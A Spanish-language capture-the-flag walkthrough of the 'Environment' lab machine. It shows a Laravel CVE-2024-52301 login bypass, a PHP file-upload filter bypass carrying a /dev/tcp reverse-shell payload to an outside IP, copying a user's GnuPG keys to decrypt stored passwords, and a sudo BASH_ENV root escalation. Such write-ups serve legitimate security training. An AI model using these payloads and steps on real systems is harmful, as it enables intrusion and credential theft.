Máquinas/CTF

Máquina resuelta


1. Escaneo de puertos tcp

PORT     STATE SERVICE   VERSION
22/tcp   open  ssh       OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_  256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp   open  http      nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://environment.htb
8000/tcp open  http-alt?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 

2. Enumeración

Una vez añadido el dominio environment.htbal fichero /etc/hosts, hacemos una enumeración de directorios.

# gobuster dir -u http://environment.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 --exclude-length 29

Encontrando lo siguiente:

/login                (Status: 200) [Size: 2391]
/storage              (Status: 301) [Size: 169] [--> http://environment.htb/storage/]
/upload               (Status: 405) [Size: 244852]
/up                   (Status: 200) [Size: 2125]
/logout               (Status: 302) [Size: 358] [--> http://environment.htb/login]
/vendor               (Status: 301) [Size: 169] [--> http://environment.htb/vendor/]
/build                (Status: 301) [Size: 169] [--> http://environment.htb/build/]
/mailing              (Status: 405) [Size: 244854]

 

3. Explotación

Si tratamos de acceder a http://environment.htb/upload podemos ver un mensaje de error en el que, entre otras cosas, observamos lo siguiente:

PHP 8.2.28 — Laravel 11.30.0

Asociada a esta versión descubrimos el CVE-2024-52301 el cual nos permite cambiar de entorno, tal y como se muestra en este repo https://github.com/Nyamort/CVE-2024-52301. Si accedemos entonces a http://environment.htb/?--env=preprod podemos ver como al final de la página, en el footer, aparece el siguiente mensaje, haciendo ver que la vulnerabilidad podría existir:

environment.htb © 2025 | Preprod v1.1

Podemos tratar entonces de bypasear el logueo, utilizando este exploit. Para ello en la petición POST de inicio de sesión, añadimos dicha variable a en la URL, quedando de la petición de la siguiente forma:

POST /login?--env=preprod HTTP/1.1
Host: environment.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Origin: http://environment.htb
Connection: keep-alive
Referer: http://environment.htb/login
Cookie: XSRF-TOKEN=eyJpdiI6IjFGZ241NXBnNGRXcTZsYmRBdG5BZlE9PSIsInZhbHVlIjoiaWV4dERPV0gwc2Ura0s0V2dDTlYrdnV1M2tHY2tKbXlkajFRNG9YK3hJT0Mwdlp2Vnh3K3M5UlhLSnlUYmM0c0FzSDBpSDZjdjEwSzFqK1AwajFiK21JYlFGaW5NdTFUeXVkWFlnUDFrbjZxTDI4dzdLWW
9ReE91ZWVQa3RuLzYiLCJtYWMiOiIzZmJmMjk4ZjA4YTFhMGY5NDQwNDY5MmY5NDk0MTE0ODM4YTgwMGNiYjE5ZDJiZWZkZTIwNDk4YmM0YTcxNDUzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkhhZUFpMWwrVHBoMEJTZTc1OFF1Unc9PSIsInZhbHVlIjoiS3c4TDNRSmJUeVJlb2wyWU9
JQW5FdFlHQWhUdG03QVJTYmFydFBZSk5nUFBDZmFSZnBzNFl3cUx2cnFMOWJYRDRWSFZIb1pvbEcwZ1pUVzV3a09IdzV3cHdrWlJpNGVyQ2NsKzIwNlgyWjFVdThQNDdEREpxTHlPc1czQ1dEOVEiLCJtYWMiOiI2MmIyMWMwY2RmZTM5MmU1MmQ4MjZiNDg4NWY3YzczYjc1MTE0ZmM1YzE1ODUxNjNhYzcy
YjM3MjA5MzE5ZDMxIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
Priority: u=0, i

_token=rs86aG3gdfr3ZgktBx4dHgYVirDFiBrvz5GoGVVT&email=admin%40test.com&password=admin&remember=False

Consiguiendo así bypasear el inicio de sesión y llevándonos a la página http://environment.htb/management/dashboard autenticados como el usuario Hish.

Una vez accedemos al panel de administración podemos observar que en el endpoint /management/profile nos permite subir una foto para establecerla como nuestra foto de perfil. Probamos a subir directamente un archivo .php pero no nos es posible. Tras varios intentos logramos subir un archivo .php realizando la siguiente petición:

POST /upload HTTP/1.1
Host: environment.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://environment.htb/management/profile
Content-Type: multipart/form-data; boundary=---------------------------255141735026611063372486289400
Content-Length: 450
Origin: http://environment.htb
Connection: keep-alive
Cookie: XSRF-TOKEN=eyJpdiI6IkkvT2FSQWRMcmJHejg3Nlh3M2k4c2c9PSIsInZhbHVlIjoiUTV3MjlnZXhuOWhLcHdlTEJaTnZjWElRbTltMzlFZnc1em1KOUIrUldBTVBvb2pPZnUwQVlYYmZkNmlZanp2WmFWcENFZ3lUWUF3OGg3UVI2aWtLTXZoQU0zRUFiWlI1b2tqSDdvdmhSQlJ4Z3N1N2NGTWZYZ0wzZ28wQ2ZCcE8i
LCJtYWMiOiJkMTI5NGY0NDM4ZmE4YmE0ODVhNzQyZDIzMDAzZDZmOGVkN2E0YjFkMTA4ZmZiMjEyNzcwZmIwZTZiOWFlYmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlZ5WHJidGZRL3RtaDFwZFF5NXl6Y1E9PSIsInZhbHVlIjoicWEyc1ZLVDAvOUdWK09GZGJCN0kxZUdQcFFYTmFxS1oyQkFkNHBuNUhVOWN
zZVBMMk1HbEpKWkNGVFRERllDdzJzQk9abUlCbmtiK05qdEJVRGR1Q0ZyS3g4d0tqYWpoVmwrWitLUEZLaXVQdXFMbW1pS3ZHOElCZkUrdndRT2UiLCJtYWMiOiJmNjQ1Y2M3NzNhNTliNDkyYjQ4YmQyYzhhNmQzOWI0NzFhZWI3MDY0NDNhODA2NTE2OWFlYmFhZWU0M2UzNjZjIiwidGFnIjoiIn0%3D
Priority: u=0

-----------------------------255141735026611063372486289400
Content-Disposition: form-data; name="_token"

qcMB5sN9dXv7rzPN16maHxxeZMfE6hMnf8y8yyKq
-----------------------------255141735026611063372486289400
Content-Disposition: form-data; name="upload"; filename="file1.php."
Content-Type: image/png

GIF87a
<?php
exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.77/1234 0>&1'");

-----------------------------255141735026611063372486289400--

Es decir, estableciendo como Content-Type: image/png, los magic numbers de un archivo GIFT, y como nombre de archivo *.php.. A dicha petición, observamos como nos responde el siguiente mensaje:

HTTP/1.1 200 OK
Server: nginx/1.22.1
Content-Type: application/json
Connection: keep-alive
Cache-Control: no-cache, private
Date: Fri, 23 May 2025 09:23:48 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6InlwcUFOMTNtN1ZHSDM0OThPRUxxSEE9PSIsInZhbHVlIjoiRU80S3hVSEhXbnhtL0FIaERkQXN6Snh5b0dJR2tucUh4TXd3anMzajdLNHBiTmtBNGU4ZzJmdzRLa2gxVG1mT2JjRmZaWnJKS0tCdHg0V01tTzE3THV6VEVXSDlVYzA3cE1DU3lTeFR4Zm94Z05Xa1prSVVEMndCQ3c1NkFNVmYiLCJtY
WMiOiJlYTIwZjViMjRkZDBkMTgzOGFkNjI3OTQwYjcyZGUxYzdlMjQwNGM0ZjFkNjNiN2FiNWE2NGE4NjBkMzBiMWE3IiwidGFnIjoiIn0%3D; expires=Fri, 23 May 2025 11:23:48 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6IlhxMmJxM1VFcEpaazRiVHlJLzRQMlE9PSIsInZhbHVlIjoiR0FyVkxSc1ZwQzI2NTg1bVlPOURiekpLNlRhNVF2NlBjZnhoUW84TVplcVRXVjliVjUxUDNuUCt2Zi9IT3RlQjJwNXlOMS83UW5kZHdBNXJQRXRQYnpCTjdSNTdkcDRUMXBxZ1EzL05XN2doaFJHOWVkallaYUdSdWFVR3hScDkiL
CJtYWMiOiJkMjg1N2U4MThkZWFhMGZiYjYxYmYzMGMyMWJkMGQxMjFjNzY3Nzg5ZDhlYjdlM2Q2NjA3OTVkOTM1ZjA4ZDUwIiwidGFnIjoiIn0%3D; expires=Fri, 23 May 2025 11:23:48 GMT; Max-Age=7200; path=/; httponly; samesite=lax
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Content-Length: 126

{
    "url": "http:\/\/environment.htb\/storage\/files\/file1.php",
    "uploaded": "http:\/\/environment.htb\/storage\/files\/file1.php"
}

Si ponemos netcat a la escucha en nuestra máquina, y nos dirigimos a la URL http://environment.htb//storage//files//file1.php, somos capaces de ejecutar el archivo .php, y establecer así una revershell con el usuario www-data.

 

4. Movimiento lateral

Directamente con el usuario www-data, somo capaces de acceder al directorio del usuario hish, y obtener así la flag de usuario. Si continuamos observando el directorio de Hish, podemos observar que existe una carpeta llamada Backup, con un archivo .gpg.

www-data@environment:/home/hish/backup$ ls
    keyvault.gpg

También vemos que la raíz del directorio home de hish, existe un archivo .gnupg, por lo que la clave puede ser la .gpg encontrada antes. Por lo que intentamos descifrarla utilizando dicha contraseña, realizando los siguientes pasos:

  1. $ cp -r /home/hish/.gnupg /tmp/mygnupg
  2. $ chmod -R 700 /tmp/mygnupg
  3. $ gpg --homedir /tmp/mygnupg --list-secret-keys
  4. $ gpg --homedir /tmp/mygnupg --output /tmp/message.txt --decrypt /home/hish/backup/keyvault.gpg

Se nos genera entonces un archivo message.txt, con el siguiente contenido:

PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!

Por lo que probamos a conectarnos por SSH, utilizando las siguientes credenciales hish - marineSPm@ster!!, y conseguimos acceso.

 

5. Escalado

Si listamos los comandos que puede ejecutar hish como usuario root, obtenemos lo siguiente:

Matching Defaults entries for hish on environment:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV BASH_ENV", use_pty

User hish may run the following commands on environment:
    (ALL) /usr/bin/systeminfo

Como tiene habilitada la opción de env_keep, nos permite preservar variables de entorno, por lo que systeminfo al ejecutar comandos basado en estas variables. puede explotarlo. Para ello realizamos lo siguiente:

  1. hish@environment:~$ echo '/bin/bash' > /tmp/malicious.sh
  2. hish@environment:~$ export BASH_ENV=/tmp/malicious.sh
  3. hish@environment:~$ sudo /usr/bin/systeminfo
  4. root@environment:/home/hish#

Observamos entonces que somos capaces de obtener una shell como usuarios root, y obtener así la flag del usuario root.